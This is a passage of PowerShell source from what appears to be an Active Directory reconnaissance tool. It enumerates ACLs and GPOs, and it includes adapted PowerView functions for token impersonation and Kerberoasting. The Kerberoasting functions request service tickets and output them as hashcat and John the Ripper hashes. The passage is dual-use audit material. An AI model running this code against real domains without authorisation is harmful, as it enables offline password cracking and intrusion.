'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
'S-1-5-32-580' { 'BUILTIN\Remote Management Users' }
Default {
# based on Convert-ADName function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
If ( ($TargetSid -match '^S-1-.*') -and ($ResolveSID) )
{
If ($Protocol -eq 'ADWS')
{
Try
{
$ADObject = Get-ADObject -Filter "objectSid -eq '$TargetSid'" -Properties DistinguishedName,sAMAccountName
}
Catch
{
Write-Warning "[ConvertFrom-SID] Error while enumerating Object using SID"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ADObject)
{
$UserDomain = Get-DNtoFQDN -ADObjectDN $ADObject.DistinguishedName
$ADSOutput = $UserDomain + "\" + $ADObject.sAMAccountName
Remove-Variable UserDomain
}
}
If ($Protocol -eq 'LDAP')
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$ADObject = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainFQDN/<SID=$TargetSid>",($Credential.GetNetworkCredential()).UserName,($Credential.GetNetworkCredential()).Password)
}
Else
{
$ADObject = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainFQDN/<SID=$TargetSid>")
}
If ($ADObject)
{
If (-Not ([string]::IsNullOrEmpty($ADObject.Properties.samaccountname)) )
{
$UserDomain = Get-DNtoFQDN -ADObjectDN $([string] ($ADObject.Properties.distinguishedname))
$ADSOutput = $UserDomain + "\" + $([string] ($ADObject.Properties.samaccountname))
Remove-Variable UserDomain
}
}
}
If ( (-Not $ADSOutput) -or ([string]::IsNullOrEmpty($ADSOutput)) )
{
$ADSOutputType = $ADS_NAME_TYPE_NT4
$Init = $true
$Translate = New-Object -ComObject NameTranslate
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$ADSInitType = $ADS_NAME_INITTYPE_DOMAIN
Try
{
[System.__ComObject].InvokeMember(InitEx,InvokeMethod,$null,$Translate,$(@($ADSInitType,$DomainFQDN,($Credential.GetNetworkCredential()).UserName,$DomainFQDN,($Credential.GetNetworkCredential()).Password)))
}
Catch
{
$Init = $false
#Write-Verbose "[ConvertFrom-SID] Error initializing translation for $($TargetSid) using alternate credentials"
#Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Else
{
$ADSInitType = $ADS_NAME_INITTYPE_GC
Try
{
[System.__ComObject].InvokeMember(Init,InvokeMethod,$null,$Translate,($ADSInitType,$null))
}
Catch
{
$Init = $false
#Write-Verbose "[ConvertFrom-SID] Error initializing translation for $($TargetSid)"
#Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
If ($Init)
{
[System.__ComObject].InvokeMember(ChaseReferral,SetProperty,$null,$Translate,$ADS_CHASE_REFERRALS_ALWAYS)
Try
{
[System.__ComObject].InvokeMember(Set,InvokeMethod,$null,$Translate,($ADS_NAME_TYPE_UNKNOWN, $TargetSID))
$ADSOutput = [System.__ComObject].InvokeMember(Get,InvokeMethod,$null,$Translate,$ADSOutputType)
}
Catch
{
#Write-Verbose "[ConvertFrom-SID] Error translating $($TargetSid)"
#Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
}
}
If (-Not ([string]::IsNullOrEmpty($ADSOutput)) )
{
Return $ADSOutput
}
Else
{
Return $TargetSid
}
}
}
}
Catch
{
#Write-Output "[ConvertFrom-SID] Error converting SID $($TargetSid)"
#Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Else
{
Return $TargetSid
}
}
}
# based on https://gallery.technet.microsoft.com/Active-Directory-OU-1d09f989
Function Get-ADRACL
{
<#
.SYNOPSIS
Returns all ACLs for the Domain, OUs, Root Containers, GPO, User, Computer and Group objects in the current (or specified) domain.
.DESCRIPTION
Returns all ACLs for the Domain, OUs, Root Containers, GPO, User, Computer and Group objects in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER ResolveSIDs
[bool]
Whether to resolve SIDs in the ACLs module. (Default False)
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
.LINK
https://gallery.technet.microsoft.com/Active-Directory-OU-1d09f989
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[string] $DomainController,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false)]
[bool] $ResolveSID = $false,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
If ($Credential -eq [Management.Automation.PSCredential]::Empty)
{
If (Test-Path AD:)
{
Set-Location AD:
}
Else
{
Write-Warning "Default AD drive not found ... Skipping ACL enumeration"
Return $null
}
}
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
Try
{
Write-Verbose "[*] Enumerating schemaIDs"
$schemaIDs = Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(schemaIDGUID=*)' -Properties name, schemaIDGUID
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating schemaIDs"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($schemaIDs)
{
$schemaIDs | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[(New-Object Guid (,$_.schemaIDGUID)).Guid] = $_.name
}
Remove-Variable schemaIDs
}
Try
{
Write-Verbose "[*] Enumerating Active Directory Rights"
$schemaIDs = Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter '(objectClass=controlAccessRight)' -Properties name, rightsGUID
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating Active Directory Rights"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($schemaIDs)
{
$schemaIDs | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[(New-Object Guid (,$_.rightsGUID)).Guid] = $_.name
}
Remove-Variable schemaIDs
}
# Get the DistinguishedNames of Domain, OUs, Root Containers and GroupPolicy objects.
$Objs = @()
Try
{
$ADDomain = Get-ADDomain
}
Catch
{
Write-Warning "[Get-ADRACL] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Try
{
Write-Verbose "[*] Enumerating Domain, OU, GPO, User, Computer and Group Objects"
$Objs += Get-ADObject -LDAPFilter '(|(objectClass=domain)(objectCategory=organizationalunit)(objectCategory=groupPolicyContainer)(samAccountType=805306368)(samAccountType=805306369)(samaccounttype=268435456)(samaccounttype=268435457)(samaccounttype=536870912)(samaccounttype=536870913))' -Properties DisplayName, DistinguishedName, Name, ntsecuritydescriptor, ObjectClass, objectsid
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating Domain, OU, GPO, User, Computer and Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ADDomain)
{
Try
{
Write-Verbose "[*] Enumerating Root Container Objects"
$Objs += Get-ADObject -SearchBase $($ADDomain.DistinguishedName) -SearchScope OneLevel -LDAPFilter '(objectClass=container)' -Properties DistinguishedName, Name, ntsecuritydescriptor, ObjectClass
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating Root Container Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
If ($Objs)
{
$ACLObj = @()
Write-Verbose "[*] Total Objects: $([ADRecon.ADWSClass]::ObjectCount($Objs))"
Write-Verbose "[-] DACLs"
$DACLObj = [ADRecon.ADWSClass]::DACLParser($Objs, $GUIDs, $Threads)
#Write-Verbose "[-] SACLs - May need a Privileged Account"
Write-Warning "[*] SACLs - Currently, the module is only supported with LDAP."
#$SACLObj = [ADRecon.ADWSClass]::SACLParser($Objs, $GUIDs, $Threads)
Remove-Variable Objs
Remove-Variable GUIDs
}
}
If ($Protocol -eq 'LDAP')
{
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$DomainFQDN = Get-DNtoFQDN($objDomain.distinguishedName)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$($DomainFQDN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Try
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
Catch
{
Write-Warning "[Get-ADRACL] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Try
{
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Forest",$($ADDomain.Forest),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
$SchemaPath = $ADForest.Schema.Name
Remove-Variable ADForest
}
Catch
{
Write-Warning "[Get-ADRACL] Error enumerating SchemaPath"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Else
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$SchemaPath = $ADForest.Schema.Name
Remove-Variable ADForest
}
If ($SchemaPath)
{
Write-Verbose "[*] Enumerating schemaIDs"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SchemaPath)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
}
Else
{
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher ([ADSI] "LDAP://$($SchemaPath)")
}
$objSearcherPath.PageSize = $PageSize
$objSearcherPath.filter = "(schemaIDGUID=*)"
Try
{
$SchemaSearcher = $objSearcherPath.FindAll()
}
Catch
{
Write-Warning "[Get-ADRACL] Error enumerating SchemaIDs"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($SchemaSearcher)
{
$SchemaSearcher | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
}
$SchemaSearcher.dispose()
}
$objSearcherPath.dispose()
Write-Verbose "[*] Enumerating Active Directory Rights"
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$objSearchPath = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/$($SchemaPath.replace("Schema","Extended-Rights"))", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher $objSearchPath
}
Else
{
$objSearcherPath = New-Object System.DirectoryServices.DirectorySearcher ([ADSI] "LDAP://$($SchemaPath.replace("Schema","Extended-Rights"))")
}
$objSearcherPath.PageSize = $PageSize
$objSearcherPath.filter = "(objectClass=controlAccessRight)"
Try
{
$RightsSearcher = $objSearcherPath.FindAll()
}
Catch
{
Write-Warning "[Get-ADRACL] Error enumerating Active Directory Rights"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($RightsSearcher)
{
$RightsSearcher | Where-Object {$_} | ForEach-Object {
# convert the GUID
$GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
}
$RightsSearcher.dispose()
}
$objSearcherPath.dispose()
}
# Get the Domain, OUs, Root Containers, GPO, User, Computer and Group objects.
$Objs = @()
Write-Verbose "[*] Enumerating Domain, OU, GPO, User, Computer and Group Objects"
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(|(objectClass=domain)(objectCategory=organizationalunit)(objectCategory=groupPolicyContainer)(samAccountType=805306368)(samAccountType=805306369)(samaccounttype=268435456)(samaccounttype=268435457)(samaccounttype=536870912)(samaccounttype=536870913))"
# https://msdn.microsoft.com/en-us/library/system.directoryservices.securitymasks(v=vs.110).aspx
$ObjSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Group -bor [System.DirectoryServices.SecurityMasks]::Owner -bor [System.DirectoryServices.SecurityMasks]::Sacl
$ObjSearcher.PropertiesToLoad.AddRange(("displayname","distinguishedname","name","ntsecuritydescriptor","objectclass","objectsid"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$Objs += $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating Domain, OU, GPO, User, Computer and Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjSearcher.dispose()
Write-Verbose "[*] Enumerating Root Container Objects"
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=container)"
# https://msdn.microsoft.com/en-us/library/system.directoryservices.securitymasks(v=vs.110).aspx
$ObjSearcher.SecurityMasks = $ObjSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Group -bor [System.DirectoryServices.SecurityMasks]::Owner -bor [System.DirectoryServices.SecurityMasks]::Sacl
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","name","ntsecuritydescriptor","objectclass"))
$ObjSearcher.SearchScope = "OneLevel"
Try
{
$Objs += $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRACL] Error while enumerating Root Container Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
$ObjSearcher.dispose()
If ($Objs)
{
Write-Verbose "[*] Total Objects: $([ADRecon.LDAPClass]::ObjectCount($Objs))"
Write-Verbose "[-] DACLs"
$DACLObj = [ADRecon.LDAPClass]::DACLParser($Objs, $GUIDs, $Threads)
Write-Verbose "[-] SACLs - May need a Privileged Account"
$SACLObj = [ADRecon.LDAPClass]::SACLParser($Objs, $GUIDs, $Threads)
Remove-Variable Objs
Remove-Variable GUIDs
}
}
If ($DACLObj)
{
Export-ADR $DACLObj $ADROutputDir $OutputType "DACLs"
Remove-Variable DACLObj
}
If ($SACLObj)
{
Export-ADR $SACLObj $ADROutputDir $OutputType "SACLs"
Remove-Variable SACLObj
}
}
Function Get-ADRGPOReport
{
<#
.SYNOPSIS
Runs the Get-GPOReport cmdlet if available.
.DESCRIPTION
Runs the Get-GPOReport cmdlet if available and saves in HTML and XML formats.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER UseAltCreds
[bool]
Whether to use provided credentials or not.
.PARAMETER ADROutputDir
[string]
Path for ADRecon output folder.
.OUTPUTS
HTML and XML GPOReports are created in the folder specified.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[bool] $UseAltCreds,
[Parameter(Mandatory = $true)]
[string] $ADROutputDir
)
If ($Protocol -eq 'ADWS')
{
Try
{
# Suppress verbose output on module import
$SaveVerbosePreference = $script:VerbosePreference
$script:VerbosePreference = 'SilentlyContinue'
Import-Module GroupPolicy -WarningAction Stop -ErrorAction Stop | Out-Null
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
}
Catch
{
Write-Warning "[Get-ADRGPOReport] Error importing the GroupPolicy Module. Skipping GPOReport"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
Return $null
}
Try
{
Write-Verbose "[*] GPOReport XML"
$ADFileName = -join($ADROutputDir,'\','GPO-Report','.xml')
Get-GPOReport -All -ReportType XML -Path $ADFileName
}
Catch
{
If ($UseAltCreds)
{
Write-Warning "[*] Run the tool using RUNAS."
Write-Warning "[*] runas /user:<Domain FQDN>\<Username> /netonly powershell.exe"
Return $null
}
Write-Warning "[Get-ADRGPOReport] Error getting the GPOReport in XML"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Try
{
Write-Verbose "[*] GPOReport HTML"
$ADFileName = -join($ADROutputDir,'\','GPO-Report','.html')
Get-GPOReport -All -ReportType HTML -Path $ADFileName
}
Catch
{
If ($UseAltCreds)
{
Write-Warning "[*] Run the tool using RUNAS."
Write-Warning "[*] runas /user:<Domain FQDN>\<Username> /netonly powershell.exe"
Return $null
}
Write-Warning "[Get-ADRGPOReport] Error getting the GPOReport in XML"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
If ($Protocol -eq 'LDAP')
{
Write-Warning "[*] Currently, the module is only supported with ADWS."
}
}
# Modified Invoke-UserImpersonation function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Function Get-ADRUserImpersonation
{
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
If (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet']))
{
Write-Warning "[Get-ADRUserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
If ($PSBoundParameters['TokenHandle'])
{
$LogonTokenHandle = $TokenHandle
}
Else
{
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
If (-Not $UserDomain)
{
Write-Warning "[Get-ADRUserImpersonation] Use credential with Domain FQDN. (<Domain FQDN>\<Username>)"
}
$UserName = $NetworkCredential.UserName
Write-Warning "[Get-ADRUserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
If (-not $Result)
{
throw "[Get-ADRUserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
If (-not $Result)
{
throw "[Get-ADRUserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Get-ADR-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
# Modified Invoke-RevertToSelf function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Function Get-ADRRevertToSelf
{
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
If ($PSBoundParameters['TokenHandle'])
{
Write-Warning "[Get-ADRRevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf()
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
If (-not $Result)
{
Write-Error "[Get-ADRRevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Get-ADRRevertToSelf] Token impersonation successfully reverted"
}
# Modified Get-DomainSPNTicket function from https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Function Get-ADRSPNTicket
{
<#
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one SPN strings, and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable Hashcat format.
.PARAMETER UserSPN
[string]
Service Principal Name.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $UserSPN
)
Try
{
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
Catch
{
Write-Warning "[Get-ADRSPNTicket] Error requesting ticket for SPN $UserSPN"
Write-Warning "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($Ticket)
{
$TicketByteStream = $Ticket.GetRequest()
}
If ($TicketByteStream)
{
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
If ($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)')
{
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
If ($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482')
{
Write-Warning '[Get-ADRSPNTicket] Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName).' # Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq
$Hash = $null
}
Else
{
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
}
}
Else
{
Write-Warning "[Get-ADRSPNTicket] Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName)." # Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq
$Hash = $null
}
}
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "ServicePrincipalName" -Value $Ticket.ServicePrincipalName
$Obj | Add-Member -MemberType NoteProperty -Name "Etype" -Value $Etype
$Obj | Add-Member -MemberType NoteProperty -Name "Hash" -Value $Hash
Return $Obj
}
Function Get-ADRKerberoast
{
<#
.SYNOPSIS
Returns all user service principal name (SPN) hashes in the current (or specified) domain.
.DESCRIPTION
Returns all user service principal name (SPN) hashes in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $true)]
[int] $PageSize
)
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$LogonToken = Get-ADRUserImpersonation -Credential $Credential
}
If ($Protocol -eq 'ADWS')
{
Try
{
$ADUsers = Get-ADObject -LDAPFilter "(&(!objectClass=computer)(servicePrincipalName=*)(!userAccountControl:1.2.840.113556.1.4.803:=2))" -Properties sAMAccountName,servicePrincipalName,DistinguishedName -ResultPageSize $PageSize
}
Catch
{
Write-Warning "[Get-ADRKerberoast] Error while enumerating UserSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADUsers)
{
$UserSPNObj = @()
$ADUsers | ForEach-Object {
ForEach ($UserSPN in $_.servicePrincipalName)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Username" -Value $_.sAMAccountName
$Obj | Add-Member -MemberType NoteProperty -Name "ServicePrincipalName" -Value $UserSPN
$HashObj = Get-ADRSPNTicket $UserSPN
If ($HashObj)
{
$UserDomain = $_.DistinguishedName.SubString($_.DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# JohnTheRipper output format
$JTRHash = "`$krb5tgs`$$($HashObj.ServicePrincipalName):$($HashObj.Hash)"
# hashcat output format
$HashcatHash = "`$krb5tgs`$$($HashObj.Etype)`$*$($_.SamAccountName)`$$UserDomain`$$($HashObj.ServicePrincipalName)*`$$($HashObj.Hash)"
}
Else
{
$JTRHash = $null
$HashcatHash = $null
}
$Obj | Add-Member -MemberType NoteProperty -Name "John" -Value $JTRHash
$Obj | Add-Member -MemberType NoteProperty -Name "Hashcat" -Value $HashcatHash
$UserSPNObj += $Obj
}
}
Remove-Variable ADUsers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
$ObjSearcher.PropertiesToLoad.AddRange(("distinguishedname","samaccountname","serviceprincipalname","useraccountcontrol"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADUsers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRKerberoast] Error while enumerating UserSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADUsers)
{
$UserSPNObj = @()
$ADUsers | ForEach-Object {
ForEach ($UserSPN in $_.Properties.serviceprincipalname)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Username" -Value $_.Properties.samaccountname[0]
$Obj | Add-Member -MemberType NoteProperty -Name "ServicePrincipalName" -Value $UserSPN
$HashObj = Get-ADRSPNTicket $UserSPN
If ($HashObj)
{
$UserDomain = $_.Properties.distinguishedname[0].SubString($_.Properties.distinguishedname[0].IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# JohnTheRipper output format
$JTRHash = "`$krb5tgs`$$($HashObj.ServicePrincipalName):$($HashObj.Hash)"
# hashcat output format
$HashcatHash = "`$krb5tgs`$$($HashObj.Etype)`$*$($_.Properties.samaccountname)`$$UserDomain`$$($HashObj.ServicePrincipalName)*`$$($HashObj.Hash)"
}
Else
{
$JTRHash = $null
$HashcatHash = $null
}
$Obj | Add-Member -MemberType NoteProperty -Name "John" -Value $JTRHash
$Obj | Add-Member -MemberType NoteProperty -Name "Hashcat" -Value $HashcatHash
$UserSPNObj += $Obj
}
}
Remove-Variable ADUsers
}
}
If ($LogonToken)
{
Get-ADRRevertToSelf -TokenHandle $LogonToken
}
If ($UserSPNObj)
{
Return $UserSPNObj
}
Else
{
Return $null
}
}
# based on https://gallery.technet.microsoft.com/scriptcenter/PowerShell-script-to-find-6fc15ecb
Function Get-ADRDomainAccountsusedforServiceLogon
{
<#
.SYNOPSIS
Returns all accounts used by services on computers in an Active Directory domain.
.DESCRIPTION
Retrieves a list of all computers in the current domain and reads service configuration using Get-WmiObject.
